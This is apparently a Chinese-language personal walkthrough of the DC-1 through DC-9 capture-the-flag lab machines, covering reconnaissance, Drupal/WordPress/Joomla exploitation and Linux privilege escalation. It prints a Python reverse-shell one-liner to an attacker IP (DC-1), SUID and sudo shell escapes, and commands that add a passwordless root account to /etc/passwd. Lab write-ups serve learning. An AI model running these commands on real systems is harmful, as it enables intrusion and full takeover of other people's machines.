DC-1
信息搜集
扫描端口服务
发现开启了111端口，搜集一波信息，找到一篇文章，可以对服务器ddos从而使其崩溃，这里我们大概没啥用
访问网站，得知web框架是drupal
百度下有挺多getshell教程，msf搜索下有没有集成相关漏洞
msf获取会话
挨个试，试到第五个成功获取session
python建立交互式shell，在当前目录下找到flag1，并且下一步提示在配置文件里
python -c "import pty;pty.spawn('/bin/bash')"
在站点的default目录下找到了一个settings.php，查看后得到数据库用户名和密码以及下一步的提示
重置网站管理员密码
尝试登录mysql
drupaldb库里有张user表，在里面找到用户名以及hash处理后的密码
试着john和hashcat解密，解不开，后来搜到一篇文章说可以重置密码，重置下即可
首先使用密码生成脚本生成新密码的hash
拿到hash在mysql中手动更新一下
但我这里因为超过失败次数账号被锁了，那么按照文章中说的，情况flood表即可
truncate table flood
管理员登录
在dashboard里找到flag3
SUID_find提权
根目录下发现home目录下有flag4文件
提示我们要提权，我们查看下系统内核
本来想到脏牛，但靶机没有安装gcc环境，那么试下SUID提权
首先查找拥有SUID权限的文件
find / -user root -perm -4000 -print 2>/dev/null
我们可以看到文件是具有root权限的
我们可以利用其权限执行命令，常用的是find命令，它有一个-exec选项，可以让我们执行shell命令
/usr/bin/find flag1.txt -exec whoami \; #这里的文件必须是能找到的
在kali上新开一个终端nc监听端口，靶机建立一个python开启一个连接
/usr/bin/find /var/www/flag1.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.126.128",3122));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
find命令找到flag文件
读取flag
完成
DC-2
信息搜集
扫描端口，ssh端口被改了下
访问80端口发现被重定向，那么修改一下hosts文件即可
修改之后目录扫描发现一些wordpress的目录
并且whatweb扫出来了wordpress4.7.10，挺老的版本了，应该有洞
在菜单栏得到flag1 
bp||wpscan爆破用户名和密码
提示说需要用cewl，说我们需要用某个账号登录来得到下一个flag
百度下cewl是一个kali自带的根据网站深度自动生成字典的工具，简单了解一下咋用，试着生成一个字典
输入下列命令之后，爬虫会根据指定的URL和深度进行爬取，然后打印出可用于密码破解的字典：
cewl http://www.ignitetechnologies.in/
加上-w参数保存结果到文件
有了可能包含了密码的字典，那么现在需要一个用户名，菜单栏里有个ourpeople，但点进去发现貌似是一种似英文而不是英文的东西，信息搜集失败
/wp-admin/进去看下后台，后台的检验方式可以爆破出用户账号
抓包爆破出这几个
用intruder的cluster bomb模式爆破下，用户名添加这三个，密码加载上之前cewl得到的字典，爆破出来两个
后来在看wp时了解到还有种获得用户名的方法
wpscan是一款专业针对WordPress安全扫描仪，学着用下
wpscan --url http://dc-2进行信息扫描
wpscan --url http://dc-2 -e u进行用户名枚举
再使用cewl爬取的密码文件进行爆破账号密码
wpscan --url http://dc-2 -U u.txt -P aa.txt
这样也可以得到用户名密码
登录看看，在jerry用户上找到flag2
爆破ssh登录
用wpscan扫了下主题和插件漏洞没啥发现，试着hydra用刚得到的字典爆破下ssh，发现tom用户可以登录
那么ssh登录
操作发现一些命令被移除，但vi可以用
提示提权，但开启了rbash限制
rbash逃逸
google了下相关信息，大概学到了两种方法适用
一种是利用vi提权
先后在vi的命令模式下执行以下两条指令
:set shell=/bin/sh
:shell
一种是利用BASH_CMDS，它是含有命令的内部散列表的数组，我们可以添加元素，然后执行
ps：另外还学到了一个自动补全命令compgen -c，通过这个我们可以得知当前可以使用的命令
但我们逃逸了之后还是会发现无法执行命令，原因是环境变量中命令调取的路径被改变了，我们执行export PATH=/usr/bin:/usr/sbin:/bin:/sbin把路径改回来，就可以正常执行命令了
find命令寻找flag文件
虽然说没hints，但最后说了一句git出去，也就是git提权了
git提权
tom用户里找不到更多信息了，之前找不到的su命令可以用了，利用之前的密码切换到jerry，百度些git提权的信息学习了下
linux中more和less命令允许我们以分页的方式查看文本文件，如果我们在这种分页状态下输入诸如!'ls'的指令，引号之中的命令就会执行
而git中正好有一个-p选项支持用分页的方式阅读帮助信息，这种模式和more，less命令的模式相同
我们执行sudo -l查看sudo的权限，这里提示我们git命令是root权限并且是不需要密码的
那么sudo执行git -p，在分页模式下执行!'/bin/sh'即可获取一个root权限的shell
find查找flag，找到最后一个flag
完成
DC-3
信息搜集
端口只开了一个80
探测到的是bootstrap框架
后台地址
打开网址得知系统是joomla
用xray扫出了一个cve
cve得到用户名密码
github上找到这个cve的poc
成功得到管理员hash后的密码，试着放到john里爆破，得snoopy
getshell
登录
看能不能找到上传点getshell
模板处找到上传点
点击new file生成一个php文件，将一句话代码写入，蚁剑连接
或者这里用msf也行，它直接集成了这个cve，设置payload之后expliot可以直接getshell，方便又快捷
double_fdput提权
查看下系统内核是16年的ubuntu
发现有git，下载个linux漏洞检测工具试试
执行脚本列出了几个可能的漏洞
并且给了各个漏洞的利用脚本，一个个试，两个脏牛直接导致会话崩溃，第三个成功提权
wget把给的脚本文件下载下来解压，进入exploit目录，运行compile.sh，执行doubleput，成功得到root权限
find搜索flag，完成
DC-4
信息搜集
ssh开着，80服务一个登录框
获取敏感信息
也没挂啥服务，一边丢burp，万能密码直接进来了。。。
进来是个命令执行界面，内置了几个命令，抓包有任意命令执行
搜索一番发现jim用户下有个备份文件夹，里面有一个旧密码的txt
ssh爆破
用得到的旧密码试着爆破jim用户的ssh密码，
登录，home目录下有个奇怪的邮件
翻目录，在var下的mail目录下找到一封邮件，得到Charles的密码
那么切换用户，得知teehee命令是不需要root权限的
teehee提权
看看这个是干啥的，--help查看帮助
注意到-a参数可以直接在文件末尾加上字符串
那么尝试往passwd写入一个账户
/etc/passwd 各个字段的含义：
username:password:User ID:Group ID:comment:home directory:shell
写入
blacknight::0:0:::/bin/bash
密码我们直接置空，uid和gid都是0，也就是root用户，也就是说覆盖了root账户，密码为0
根目录执行find命令找到flag
DC-5
信息搜集
111端口之前以及提到可能会造成拒绝服务攻击，36018不知道啥服务
扫下目录
探测指纹也就一个nginx，没啥框架
访问80服务，几个页面都是一大堆文字，就一个
整个网站就这么一个页面可以交互，抓包看看
发现每次发包，copyright的年份都会变化，之前也扫到了一个footer.php，访问下正是这个部分
日志注入
那么猜想thankyou.php应该是require或者include了一个footer.php，那么就可能存在文件包含漏洞
验证一下确实存在，参数。。。嗯猜出来或者fuzz一下
那么日志就可以包含到了，直接往日志里写入shell
我这直接nc一个端口连一下
转换程交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
SUID_screen4.5.0提权
没找到啥其他可疑文件，找找suid，发现有个奇怪的screen
百度一波
并且看到该版本可以提权，搜索相关漏洞
跟着文章复现即可
最后得到root权限
tips:这里的几个shellcode是用nc传过去的，在看wp的过程中学到了使用vsftps进行文件下载，参考文章
DC-6
信息搜集
又是一波重定向，修改hosts搞定，打开80页面是熟悉的wordpress界面
爆破后台
wpscan扫一波发现了几个用户名，尝试爆破无果，回去看看还有提示
说是把rockyou.txt里的包含k01的密码提取出来，那就试试用这个爆破，还真出来一个
登陆后台，注意到有个插件，大概是记录网站活动的东西
getshell
百度得知这个插件是被爆过洞的，参考文章
这里存在着命令执行
那么直接连个shell
输入框有长度限制，抓个包构造
备份脚本执行
home目录下有个txt，获得graham的密码
sudo -l得知有个jens用户的backups.sh免密
并且当前用户还对文件有写入权限
执行看看
那么直接nc连下
nmap命令执行提权
又发现nmap可以root免密执行
那么直接创建一个脚本，利用nmap执行脚本获得一个root用户的shell
得到flag
DC-7
信息搜集
框架是drupal
没啥公开洞，登录密码爆破无果。
社工
注意到网页底部有个标识
github搜到相关信息
配置文件中得到用户名和密码
登录不上，ssh连接成功
drush修改用户名密码
用户目录下有个mbox，查看信息大概是个定时任务提醒
来到opt目录，查看backup脚本
注意到里面有个drush命令，百度一波，得知是操作drupal的工具，可以直接修改用户名密码
这里注意要到html目录下运行，只有这个目录是www-data权限，不然会提示权限不够
改好了密码登录
getshell
backups.sh脚本是root用户执行的，并且www-data可以改
那么考虑怎么拿到www-data的shell
翻阅后台，本来想生成一个php页面，但百度得知drupal默认是移除了php页面生成的
想要创建一个php页面必须在线安装或着下载离线包
点击安装模块
输入下载地址，点击install
激活
找到模块勾选
点击install
回到创建页面，发现已经可以创建php页面
监听端口，save访问，成功getshell
定时脚本执行提取
注意到之前的脚本是root用户执行的，并且www-data可以改，那么直接往里面加内容连shell
等一会即可获取root权限
得到flag
DC-8
信息搜集
xray监听放着，点几下网站，直接爆出了sql注入
sqlmap获取用户名密码
sqlmap一把梭
john试着爆破下，admin没爆破出，得到john用户的密码
getshell
试着寻找webshell注入点
这里没成功，看了下wp说是要在php代码之前加一些文字
这样再试下，点击submit
成功弹到了shell
exim4漏洞提权
这里的目录文件大概是和dc1s一样的，有重置密码脚本，站点下的配置文件也直接给出了数据库密码
可以直接重置管理员密码，但我们需要的是提权
寻找特权文件
find / -user root -perm -4000 -print 2>/dev/null
发现一个可疑的命令exim4，百度下相关信息，得知可以提权
查看版本
查找相关漏洞
复制相关脚本到本地，再本地python搭个http服务，目标机shell上把脚本wget下来
查看脚本使用说明
但执行不了
大概是因为脚本是在windows上编写完成传到Linux服务器上的，是dos格式，而shell脚本格式必须是unix才行，验证方法
cat -A filename，如果输出结果中行末尾是^M$，则是dos格式，如果行末尾只是$，则是unix格式
在博客中找到解决办法
在本机上将脚本通过vim的: set ff=unix转换为unix格式，再wget到目标主机
再赋予权限执行，成功拿到root权限
得到flag
DC-9
信息搜集
xray扫出个sql注入
sqlmap一把梭
users库里的Userstaff表里存储着用户名和密码
Staff库的User表里找到管理员密码
md5网站看下
登上管理员账号看看没啥发现，只有个添加记录的功能
注意到提交页面之后下面有个file not exits，猜测可能是包含了file参数，试下成功任意文件读取
端口敲门
把之前跑出来的用户名和密码复制下来准备ssh爆破用，但之前nmap已经得知，22端口被flitered了
Port Knocking for Ubuntu 14.04 Server
端口敲门服务，即：knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务，使用自定义的一系列序列号来“敲门”，使系统开启需要访问的服务端口，才能对外访问。不使用时，再使用自定义的序列号来“关门”，将端口关闭，不对外监听。进一步提升了服务和系统的安全性。
知识盲区了，通过文件读取查看etc下的knockd.conf
现在看ssh是关闭的
按照这个方法我们nmap访问7469,8475,9842三个端口，这里还要注意顺序
现在看ssh已经打开了
ssh爆破
那么我们利用刚存好的用户名和密码在hydra里爆破
挑个登录，在一个用户里又找到一份密码文件
再复制下来跑一下，又多跑出来一个用户
写入root用户提权
登录，查看sudo -l，有个自定义的脚本
大概就是读取read部分的文件，然后把read的文件写入append文件，并且这个命令是root权限的可以写入root权限的文件
那么如果我们往/etc/passwd中写入一个我们自己的用户，比如
blacknight::0:0:::/bin/bash
那么就创建了一个blacknight的用户，并且他的uid和gid都是0，其实也就是root用户
echo 'blacknight::0:0::/root:/bin/bash' >> /tmp/aaa
但这里发现个问题，那就是用户名超过一定长度就失效，后来改短了点才加进去
echo 'tos::0:0::/root:/bin/bash' > /tmp/aaa
但即使密码设为空也无法登录，换种方式，仿照/etc/shadow的内容，使用openssl生成一个hash的密码
openssl passwd -1 -salt tos 123456
成功登录root用户
得到flag